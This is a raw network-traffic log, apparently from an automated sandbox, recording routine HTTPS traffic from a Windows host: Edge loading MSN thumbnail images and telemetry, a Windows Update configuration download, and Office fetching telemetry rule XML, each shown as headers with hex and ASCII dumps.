MUID=25D6022CE12A6CAA01731712E02D6DC5; _EDGE_S=F=1&SID=3A7F3A3C776F634F36542F02767A6227; _EDGE_V=1; msnup=
2024-11-21 18:58:58 UTC	9642	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 31 38 3a 35 38 3a 35 36 2e 33 34 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 63 38 30 63 61 62 64 2d 36 33 62 31 2d 34 33 63 32 2d 61 36 37 39 2d 35 30 37 34 65 65 30 35 34 64 61 39 22 2c 22 65 70 6f 63 68 22 3a 22 31 38 38 35 36 38 35 39 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-21T18:58:56.344Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"5c80cabd-63b1-43c2-a679-5074ee054da9","epoch":"1885685970"},"app":{"loc
2024-11-21 18:58:59 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=21018c110383431380e8bb60d1afe860&HASH=2101&LV=202411&V=4&LU=1732215538954; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 18:58:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=39b07fab1a2f49408aaae08221c42191; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 19:28:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2609 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 18:58:59 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49832	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:02 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:59:03 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=247505 Expires: Sun, 24 Nov 2024 15:44:07 GMT Date: Thu, 21 Nov 2024 18:59:02 GMT Connection: close
2024-11-21 18:59:03 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49833	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:04 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:59:04 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:19:08 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: d2440427-50e1-4b1e-9511-bbaa45a53b32 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=246372 Expires: Sun, 24 Nov 2024 15:25:16 GMT Date: Thu, 21 Nov 2024 18:59:04 GMT Connection: close
2024-11-21 18:59:04 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49835	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:06 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:59:07 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 05:16:37 GMT X-Source-Length: 62552 X-Datacenter: eastus X-ActivityId: b6de683a-38cf-4a4e-bd01-aa1a6ca52471 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=253062 Expires: Sun, 24 Nov 2024 17:16:48 GMT Date: Thu, 21 Nov 2024 18:59:06 GMT Connection: close
2024-11-21 18:59:07 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49836	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:08 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:59:08 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=389354 Expires: Tue, 26 Nov 2024 07:08:22 GMT Date: Thu, 21 Nov 2024 18:59:08 GMT Connection: close
2024-11-21 18:59:08 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49837	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:10 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:59:10 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=257963 Expires: Sun, 24 Nov 2024 18:38:33 GMT Date: Thu, 21 Nov 2024 18:59:10 GMT Connection: close
2024-11-21 18:59:10 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49838	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:11 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2F3VOfa2vwF4Y15&MD=lN4bUNbC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 18:59:12 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: d16282c2-7309-445b-8b47-06b4a5d3fd3f MS-RequestId: a3ef2d23-5f29-44eb-aa26-50746bdda24e MS-CV: +7500gP510+EXweS.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 18:59:11 GMT Connection: close Content-Length: 30005
2024-11-21 18:59:12 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-21 18:59:12 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.8	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:28 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:28 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:28 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185928Z-1777c6cb754ww792hC1TEBzqu40000000bbg00000000c0ph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:28 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-21 18:59:28 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-21 18:59:29 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-21 18:59:29 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-21 18:59:29 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
